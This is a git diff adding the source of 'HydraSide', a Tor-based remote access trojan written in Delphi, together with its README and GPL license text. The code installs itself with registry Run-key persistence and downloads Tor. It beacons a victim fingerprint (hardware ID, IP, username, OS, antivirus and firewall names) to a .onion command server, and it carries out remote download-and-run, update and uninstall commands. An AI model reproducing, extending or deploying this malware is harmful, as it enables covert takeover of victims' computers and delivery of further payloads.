conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {description} + Copyright (C) {year} {fullname} + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + {signature of Ty Coon}, 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. + diff --git a/README.md b/README.md new file mode 100644 index 0000000..71860ae --- /dev/null +++ b/README.md @@ -0,0 +1,42 @@ +# HydraSide +*(Tor Based Rat)* +**Coded by crazyskate66** +Source: ic0de.org + + +HydraSide is a opensource Tor Based RAT (*Remote Administration Tool*) + + +**Functions** + +- Download and run (selected Client) +- Download and run (All Clients) +- Download and run (on Client Connect Automatically) +- Update Server (All Clients) +- Uninstall Server (All Clients) +- Update (on Client Connect Automatically) + + +**Server** + +- Installs to %appdata% credits to slayer616 for functions and installation routines. +- Add to start up "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Run" and HKEY_LOCAL_MACHINE +- Mutex +- Downloads a copy of tor.exe from a url. +- Connects over tor to a hidden service. + + +---------- + +This project was compiled and developed with Delphi XE2 and Delphi Indy 10 + +Edit the Config.pas to configure server. + +**I am not responsible for what you do with it.** +---------- + +**Credits to** + +- krippler For winsock example . +- sam7sam7 For Av And Fw detection. +- Slayer616 for the install and startup routines. \ No newline at end of file diff --git a/Server/.gitignore b/Server/.gitignore new file mode 100644 index 0000000..38b6bd0 --- /dev/null +++ b/Server/.gitignore @@ -0,0 +1,10 @@ +*.dcu +*.~*~ +*.local +*.identcache +__history +*.drc +*.map +*.exe +*.dll +bin/* \ No newline at end of file diff --git a/Server/Server.dpr b/Server/Server.dpr new file mode 100644 index 0000000..da55ff1 --- /dev/null +++ b/Server/Server.dpr @@ -0,0 +1,292 @@ +program Server; + +//{$APPTYPE CONSOLE} + +{$R *.res} + +uses + windows, + shellapi, + System.SysUtils, + UConfig in 'UConfig.pas', + IdSocketHandle, + IdServerIOHandler, + IdServerIOHandlerSocket, + IdSSLOpenSSL, + idSocks, + IdCustomTransparentProxy, + IdConnectThroughHttpProxy, + IdIOHandler, + IdIOHandlerSocket, + IdIOHandlerStack, + IdBaseComponent, + IdComponent, + IdTCPConnection, + IdTCPClient, + IdStack, + USysInfo in 'USysInfo.pas', + UGetAv in 'UGetAv.pas', + untInstallation in 'untInstallation.pas', + untRegistry in 'untRegistry.pas', + untUtils in 'untUtils.pas'; + +type + TDynStringArray = array of string; + +type + TServer = class(TObject) + Private + + Public + procedure Connect; + function UserName(): string; + function CompName(): string; + function Explode(const Separator, S :String; Limit :Integer = 0): TDynStringArray; + Procedure ReceiveData(str:string); +end; + +var + Closed: Boolean; + Holder: Boolean; + tid :cardinal; + var + TCPClient: TIdTCPClient; + +procedure TServer.ReceiveData(str: string); +var + Data: String; + strArr: TDynStringArray; + Path:string; +begin + + //Convert our data to a string and trim it + Data := STR; + + if Length(Data) > 0 then begin + // Writeln(data); + //Setup our dynamic array structure + StrArr := Explode('|', Data); + + + if StrArr[0] = 'DownloadNRun' then + begin + DownloadFile(StrArr[1],StrArr[2],localAppDataPath); + end; + + if StrArr[0] = 'Supdate' then + begin + DownloadFile(StrArr[1],'File.exe',localAppDataPath); + end; + + if StrArr[0] = 'CloseSock' then + begin + closed := true; + Holder := false; + TCPClient.Disconnect; + TerminateThread(Tid,0); + sleep(100); + ExitProcess(0); + end; + + if StrArr[0] = 'Restart' then + begin + closed := true; + Holder := false; + TCPClient.Disconnect; + TerminateThread(Tid,0); + closed := false; + Holder := true; + // sleep(6000); + // CreateThread(nil, 0,@TServer.Connect, nil, 0, tid); + end; + + if StrArr[0] = 'Uninstall' then + begin + uninstall; + end; + +end; +end; + +procedure SocketErrorHandler; +begin + //messagebox(0,'','Error Restarting',0); + closed := true; + Holder := false; + TCPClient.Disconnect; + TerminateThread(Tid,0); + sleep(30); + closed := false; + Holder := true; + sleep(_iConneTimer_ * 60 * 1000); + CreateThread(nil, 0,@TServer.Connect, nil, 0, tid); +end; + +function IsPortActive(AHost : string; APort : Word): boolean; +var + IdTCPClient : TIdTCPClient; +begin + Result := False; + try + IdTCPClient := TIdTCPClient.Create(nil); + try + IdTCPClient.Host := AHost; + IdTCPClient.Port := APort; + IdTCPClient.Connect; + Result := True; + finally + IdTCPClient.Free; + end; + except + //Ignore exceptions + end; +end; + +Procedure TServer.Connect; +var +//TCPClient: TIdTCPClient; +SocksProxy: TIdSocksInfo; +IdIOHandlerStack:TIdIOHandlerStack; +Tmp:string; +iRecv: Integer; +begin + try + Closed := False; + TCPClient := TIdTcpClient.create(nil); + TCPClient.Host := Rhost; + TCPClient.Port := RPort; + IdIOHandlerStack:= TIdIOHandlerStack.Create (nil); + SocksProxy := TIdSocksInfo.Create (nil); + SocksProxy.Version := svSocks5; + SocksProxy.Host := RPHost; + SocksProxy.Port := RPPort; + IdIOHandlerStack.TransparentProxy:= SocksProxy; + IdIOHandlerStack.TransparentProxy.Enabled:= True; + TCPCLient.IOHandler:= IdIOHandlerStack; + if IsPortActive(RPHost,RPPort) then + begin + repeat + try + TCPClient.Connect; +// if TCPClient.socket.connected then writeln('Connecting to '+Rhost + ' On Port : ' + inttostr(Rport)); + While TcpClient.Socket.Connected and Closed = false do //tidiohandler + begin + if closed = true then TCPClient.Disconnect; + // Writeln('Connected To '+Rhost); + TCPClient.Socket.WriteLn(Pchar('ADDNEW|'+ BotPassword +'|' + getHWID + '|' + GroupStr + '|' + Ip + '|' + LocalIP + '|' + UserName+'/'+ CompName + '|' + GetOs+Osbytes + '|' + Version +'|' + Av + '/' + FW)); + iRecv := TcpClient.Socket.RecvBufferSize; + while TcpClient.socket.Connected and Closed = false and (iRecv > 0) do + begin + tmp := TCPClient.socket.ReadLn; + //writeln(tmp); + ReceiveData(tmp); + Tmp := ''; + end; + end; + TCPClient.Disconnect; + sleep(_iConneTimer_ * 60 * 1000); + except + SocketErrorHandler; + Exit; + //Holder := False; + end; + + + until(Holder = false); + end; + if IsPortActive(RPHost,RPPort) = false then + begin + GetTor; + end; + except + SocketErrorHandler; + Exit; + end; +end; + +function TServer.UserName(): string; +var + User : array[0..255] of Char; + SizeOfUser : Cardinal; +begin + SizeOfUser := SizeOf(User); + if GetUserName(User, SizeOfUser) = True then + Result := string(User) + else + Result := 'Unknown'; +end; + +function TServer.CompName(): string; +var + Comp : array[0..255] of Char; + SizeOfComp : Cardinal; +begin + SizeOfComp := SizeOf(Comp); + if GetComputerName(Comp, SizeOfComp) = True then + Result := string(Comp) + else + Result := 'Unknown' +end; + +//This function splits up a given string into an array +function TServer.Explode(const Separator, S :String; Limit :Integer = 0): TDynStringArray; + var + SepLen: Integer; + F, P: PChar; +begin + SetLength(Result, 0); + if (S = '') or (Limit < 0) then + Exit; + if Separator = '' then + begin + SetLength(Result, 1); + Result[0] := S; + Exit; + end; + SepLen := Length(Separator); + + P := PChar(S); + while P^ <> #0 do + begin + F := P; + P := AnsiStrPos(P, PChar(Separator)); + if (P = nil) or ((Limit > 0) and (Length(Result) = Limit - 1)) then + P := StrEnd(F); + SetLength(Result, Length(Result) + 1); + SetString(Result[High(Result)], F, P - F); + F := P; + if P = Separator then + SetLength(Result, Length(Result) + 1); + while (P^ <> #0) and (P - F < SepLen) do + Inc(P); + end; +end; + +procedure GetOsBytes(); +begin + if IsWow64 = true then + begin + Osbytes := '-64_Bit'; + end + else + begin + Osbytes := '-32_Bit'; + end; +end; + + +begin + Install; + if not FileExists(LocalAppDataPath+_TorName_) then + begin + GetTor; + end; + Sleep(2000); + StartPrxyHidden(LocalAppDataPath+_TorName_); + IP:= GetExternalIP; + GetOsBytes; + GetAV; + Holder := true; + CreateThread(nil, 0,@TServer.Connect, nil, 0, tid); + sleep(infinite); +end. diff --git a/Server/Server.dproj b/Server/Server.dproj new file mode 100644 index 0000000..c51410f --- /dev/null +++ b/Server/Server.dproj @@ -0,0 +1,153 @@ + + + {9680A882-0C5E-4B18-A769-75A16F0C1FB3} + 16.1 + None + Server.dpr + True + Debug + Win32 + 1 + Console + + + true + + + true + Base + true + + + true + Base + true + + + true + Base + true + + + true + Cfg_1 + true + true + + + true + Base + true + + + Server + System;Xml;Data;Datasnap;Web;Soap;$(DCC_Namespace) + fmx;rtl;dbrtl;IndySystem;DbxClientDriver;bindcomp;inetdb;DBXInterBaseDriver;DataSnapCommon;DataSnapClient;DataSnapServer;DataSnapProviderClient;xmlrtl;ibxpress;DbxCommonDriver;IndyProtocols;DBXMySQLDriver;dbxcds;soaprtl;bindengine;DBXOracleDriver;dsnap;DBXInformixDriver;IndyCore;fmxase;CloudService;DBXFirebirdDriver;inet;fmxobj;inetdbxpress;DBXSybaseASADriver;fmxdae;dbexpress;DataSnapIndy10ServerTransport;IPIndyImpl;$(DCC_UsePackage) + .\$(Platform)\$(Config) + .\$(Platform)\$(Config) + + + madBasic_;vcldbx;frx16;TeeDB;vclib;inetdbbde;Tee;DBXOdbcDriver;acntDelphiXE2_R;madDisAsm_;svnui;DBXSybaseASEDriver;vclimg;frxDB16;intrawebdb_120_160;fmi;fs16;vclactnband;FMXTee;TeeUI;vcldb;vcldsnap;vclshlctrls;vclie;madExcept_;vcltouch;Intraweb_120_160;DBXDb2Driver;websnap;vclribbon;frxe16;VclSmp;fsDB16;vcl;DataSnapConnectors;CoolTrayIconD16;DBXMSSQLDriver;CodeSiteExpressPkg;FmxTeeUI;dsnapcon;vclx;webdsnap;svn;bdertl;adortl;$(DCC_UsePackage) + Winapi;System.Win;Data.Win;Datasnap.Win;Web.Win;Soap.Win;Xml.Win;Bde;$(DCC_Namespace) + 1033 + CompanyName=;FileDescription=;FileVersion=1.0.0.0;InternalName=;LegalCopyright=;LegalTrademarks=;OriginalFilename=;ProductName=;ProductVersion=1.0.0.0;Comments= + + + TeeDB;vclib;Tee;DBXOdbcDriver;acntDelphiXE2_R;DBXSybaseASEDriver;vclimg;vclactnband;TeeUI;vcldb;vcldsnap;vclie;vcltouch;DBXDb2Driver;websnap;VclSmp;vcl;DataSnapConnectors;DBXMSSQLDriver;dsnapcon;vclx;webdsnap;adortl;$(DCC_UsePackage) + + + DEBUG;$(DCC_Define) + false + true + true + true + + + None + 1033 + false + + + false + RELEASE;$(DCC_Define) + 0 + 0 + + + + MainSource + + + + + + + + + Cfg_2 + Base + + + Base + + + Cfg_1 + Base + + + + Delphi.Personality.12 + + + + + False + False + 1 + 0 + 0 + 0 + False + False + False + False + False + 2057 + 1252 + + + + + 1.0.0.0 + + + + + + 1.0.0.0 + + + + Embarcadero LiveBindings Components VCL + Embarcadero LiveBindings Components FireMonkey + Embarcadero C++Builder Office 2000 Servers Package + Embarcadero C++Builder Office XP Servers Package + Microsoft Office 2000 Sample Automation Server Wrapper Components + Microsoft Office XP Sample Automation Server Wrapper Components + + + Server.dpr + + + + + False + True + False + + + 12 + + + + diff --git a/Server/Server.res b/Server/Server.res new file mode 100644 index 0000000..7435995 Binary files /dev/null and b/Server/Server.res differ diff --git a/Server/UConfig.pas b/Server/UConfig.pas new file mode 100644 index 0000000..34d5f3a --- /dev/null +++ b/Server/UConfig.pas @@ -0,0 +1,55 @@ +unit UConfig; + +interface + +var +Av:string; +Fw:string; +OsBytes:string; +IP:string; + +Const +RHost :String = '00000000000000.onion'; +RPort :integer = 1515; +RPHost:string = 'Localhost'; +RPPort:Integer = 9050; +BotVersion : string = '0.1A'; +_strStartupK_ :string = 'StartUpKey'; +_strMutexNam_ :string = 'Hydraside1234'; +_TorName_ :string = 'Tor.exe'; +_strFilename_ :string = 'Server.exe'; +_TorUrlDownload_ :string = 'www.example.com/tor.exe'; +_boolMelt_ :boolean = false; +_boolInstall_ :boolean = false; +_boolStartup_ :boolean = false; +_iConneTimer_:Integer = 1; +///// +BotPassword:String = '1234abcd'; +GroupStr: String = 'Alphi Test'; +Version:String = '0.1A'; +_Get_external_ip_:string ='http://en.softmaker.kz/get_an_external_ip_address.php'; + +UserAgents: array[0..26] of string = + ('Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.0)', + 'Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.1)', + 'Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2)', + 'Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0)', + 'Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.1)', + 'Opera/7.51 (Windows NT 5.0; U) [en]', + 'Opera/7.51 (Windows NT 5.1; U) [en]', + 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.22) Gecko/20110902 Firefox/3.6.22', + 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0)', + 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0', + 'Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.51', + 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.36 (KHTML, like Gecko) Chrome/12.0.742.53 Safari/534.36 QQBrowser/6.3.8908.201', + 'Opera/7.51 (Windows NT 5.2; U) [en]', 'Opera/7.51 (Windows NT 6.0; U) [en]', 'Opera/7.51 (Windows NT 6.1; U) [en]', + 'Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; ru) Opera 10.10', 'Opera/9.80 (X11; Linux x86_64; U; ru) Presto/2.2.15 Version/10.10', + 'Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1', + 'Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.0.4) Gecko/2008111611 Gentoo Iceweasel/3.0.4', + 'Mozilla/1.1 (compatible; MSPIE 2.0; Windows CE)', 'Mozilla/1.10 [en] (Compatible; RISC OS 3.70; Oregano 1.10)', + 'Mozilla/1.22 (compatible; MSIE 2.0d; Windows NT)', 'Googlebot', 'MSNBot', 'Yandex', 'StackRambler', + 'Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2'); + +implementation + +end. diff --git a/Server/UFunctions.pas b/Server/UFunctions.pas new file mode 100644 index 0000000..27b0024 --- /dev/null +++ b/Server/UFunctions.pas @@ -0,0 +1,96 @@ +unit UFunctions; + +interface + +uses WinInet, shfolder, shellapi, Windows, System.Classes,tlHelp32,sysutils,UConfig; + +function DownloadFiles(const url: string; const destinationFileName: string): boolean; +function getHWID(): String; +function IsWow64: Boolean; +function LocalAppDataPath: string; +function ownTrim(strData: String): String; + +implementation + +function ownTrim(strData: String): String; +var + i: Integer; +begin + result := ''; + for i := 1 to Length(strData) do + begin + if strData[i] = #0 then + begin + result := Copy(strData, 1, i - 1); + break; + end; + end; +end; + +function LocalAppDataPath: string; +const + SHGFP_TYPE_CURRENT = 0; +begin + SetLength(result, MAX_PATH); + SHGetFolderPathW(0, CSIDL_LOCAL_APPDATA, 0, SHGFP_TYPE_CURRENT, @result[1]); + result := ownTrim(result); + if result[Length(result)] <> '\' then + result := result + '\'; +end; + +function getHWID(): String; +var +SerialNum,A,B: DWord; +C: array [0..255] of Char; +Buffer: array [0..255] of Char; +begin +if GetVolumeInformation(pChar('C:\'), Buffer, 256, @SerialNum, A, B, C, 256) then + Result := inttostr(SerialNum * Cardinal(-1)) +else Result := ''; +end; + +function IsWow64: Boolean; +type + TIsWow64Process = function(Handle: Windows.THandle; var Res: Windows.BOOL): Windows.BOOL; stdcall; +var + IsWow64Result: Windows.BOOL; + IsWow64Process: TIsWow64Process; +begin + IsWow64Process := Windows.GetProcAddress(Windows.GetModuleHandle('kernel32'), 'IsWow64Process'); + if Assigned(IsWow64Process) then + begin + if not IsWow64Process(Windows.GetCurrentProcess, IsWow64Result) then + raise SysUtils.Exception.Create('IsWow64: bad process handle'); + Result := IsWow64Result; + end + else + Result := False; +end; + +function DownloadFiles(const url: string; const destinationFileName: string): boolean; +var + hInet: HINTERNET; + hFile: HINTERNET; + localFile: File; + buffer: array[1..1024] of byte; + bytesRead: DWORD; +begin + result := False; + hInet := InternetOpen(Pchar(UserAgents[Random(High(UserAgents) - 1) + 1]),INTERNET_OPEN_TYPE_PRECONFIG,nil,nil,0); + hFile := InternetOpenURL(hInet,PChar(url),nil,0,INTERNET_FLAG_DONT_CACHE,0); + if Assigned(hFile) then + begin + AssignFile(localFile,destinationFileName); + Rewrite(localFile,1); + repeat + InternetReadFile(hFile,@buffer,SizeOf(buffer),bytesRead); + BlockWrite(localFile,buffer,bytesRead); + until bytesRead = 0; + CloseFile(localFile); + result := true; + InternetCloseHandle(hFile); + end; + InternetCloseHandle(hInet); +end; + +end. diff --git a/Server/UGetAv.pas b/Server/UGetAv.pas new file mode 100644 index 0000000..32be673 --- /dev/null +++ b/Server/UGetAv.pas @@ -0,0 +1,155 @@ +unit UGetAv; + +interface + +uses + SysUtils, + Windows, + ActiveX, + ComObj, + Variants, + UConfig; + +type + TSecurityCenterProduct = (AntiVirusProduct,AntiSpywareProduct,FirewallProduct); +const + WmiRoot='root'; + WmiClassSCProduct : array [TSecurityCenterProduct] of string = ('AntiVirusProduct','AntiSpywareProduct','FirewallProduct'); + WmiNamespaceSCProduct : array [Boolean] of string = ('SecurityCenter','SecurityCenter2'); + +function VerSetConditionMask(dwlConditionMask: int64;dwTypeBitMask: DWORD; dwConditionMask: Byte): int64; stdcall; external kernel32; + +{$IFDEF UNICODE} +function VerifyVersionInfo(var LPOSVERSIONINFOEX : OSVERSIONINFOEX;dwTypeMask: DWORD;dwlConditionMask: int64): BOOL; stdcall; external kernel32 name 'VerifyVersionInfoW'; +{$ELSE} +function VerifyVersionInfo(var LPOSVERSIONINFOEX : OSVERSIONINFOEX;dwTypeMask: DWORD;dwlConditionMask: int64): BOOL; stdcall; external kernel32 name 'VerifyVersionInfoA'; +{$ENDIF} + +procedure GetAV(); + +implementation + + + +//verifies that the application is running on Windows 2000 Server or a later server, such as Windows Server 2003 or Windows Server 2008. +function Is_Win_Server : Boolean; +const + VER_NT_SERVER = $0000003; + VER_EQUAL = 1; + VER_GREATER_EQUAL = 3; +var + osvi : OSVERSIONINFOEX; + dwlConditionMask : DWORDLONG; + op : Integer; +begin + dwlConditionMask := 0; + op:=VER_GREATER_EQUAL; + + ZeroMemory(@osvi, sizeof(OSVERSIONINFOEX)); + osvi.dwOSVersionInfoSize := sizeof(OSVERSIONINFOEX); + osvi.dwMajorVersion := 5; + osvi.dwMinorVersion := 0; + osvi.wServicePackMajor := 0; + osvi.wServicePackMinor := 0; + osvi.wProductType := VER_NT_SERVER; + + dwlConditionMask:=VerSetConditionMask( dwlConditionMask, VER_MAJORVERSION, op ); + dwlConditionMask:=VerSetConditionMask( dwlConditionMask, VER_MINORVERSION, op ); + dwlConditionMask:=VerSetConditionMask( dwlConditionMask, VER_SERVICEPACKMAJOR, op ); + dwlConditionMask:=VerSetConditionMask( dwlConditionMask, VER_SERVICEPACKMINOR, op ); + dwlConditionMask:=VerSetConditionMask( dwlConditionMask, VER_PRODUCT_TYPE, VER_EQUAL ); + + Result:=VerifyVersionInfo(osvi,VER_MAJORVERSION OR VER_MINORVERSION OR + VER_SERVICEPACKMAJOR OR VER_SERVICEPACKMINOR OR VER_PRODUCT_TYPE, dwlConditionMask); +end; + +procedure GetSCProductInfo(SCProduct:TSecurityCenterProduct); +var + FSWbemLocator : OLEVariant; + FWMIService : OLEVariant; + FWbemObjectSet: OLEVariant; + FWbemObject : OLEVariant; + oEnum : IEnumvariant; + iValue : LongWord; + osVerInfo : TOSVersionInfo; +begin + osVerInfo.dwOSVersionInfoSize:=SizeOf(TOSVersionInfo); + GetVersionEx(osVerInfo); + if (SCProduct=AntiSpywareProduct) and (osVerInfo.dwMajorVersion<6) then exit; FSWbemLocator := CreateOleObject('WbemScripting.SWbemLocator'); FWMIService := FSWbemLocator.ConnectServer('localhost',Format('%s\%s',[WmiRoot,WmiNamespaceSCProduct[osVerInfo.dwMajorVersion>=6]]), '', ''); + FWbemObjectSet:= FWMIService.ExecQuery(Format('SELECT * FROM %s',[WmiClassSCProduct[SCProduct]]),'WQL',0); + oEnum := IUnknown(FWbemObjectSet._NewEnum) as IEnumVariant; + while oEnum.Next(1, FWbemObject, iValue) = 0 do + begin + if osVerInfo.dwMajorVersion>=6 then //windows vista or newer + begin + Fw := FWbemObject.displayName;// String + // Writeln(Format('instanceGuid %s',[FWbemObject.instanceGuid]));// String + // Writeln(Format('pathToSignedProductExe %s',[FWbemObject.pathToSignedProductExe]));// String + // Writeln(Format('pathToSignedReportingExe %s',[FWbemObject.pathToSignedReportingExe]));// String + // Writeln(Format('productState %s',[FWbemObject.productState]));// Uint32 + end + else + begin + case SCProduct of + + AntiVirusProduct : + begin + // Writeln(Format('companyName %s',[FWbemObject.companyName]));// String + Av := FWbemObject.displayName;// String + // Writeln(Format('enableOnAccessUIMd5Hash %s',[FWbemObject.enableOnAccessUIMd5Hash]));// Uint8 + // Writeln(Format('enableOnAccessUIParameters %s',[FWbemObject.enableOnAccessUIParameters]));// String + // Writeln(Format('instanceGuid %s',[FWbemObject.instanceGuid]));// String + // Writeln(Format('onAccessScanningEnabled %s',[FWbemObject.onAccessScanningEnabled]));// Boolean + // Writeln(Format('pathToEnableOnAccessUI %s',[FWbemObject.pathToEnableOnAccessUI]));// String + // Writeln(Format('pathToUpdateUI %s',[FWbemObject.pathToUpdateUI]));// String + // 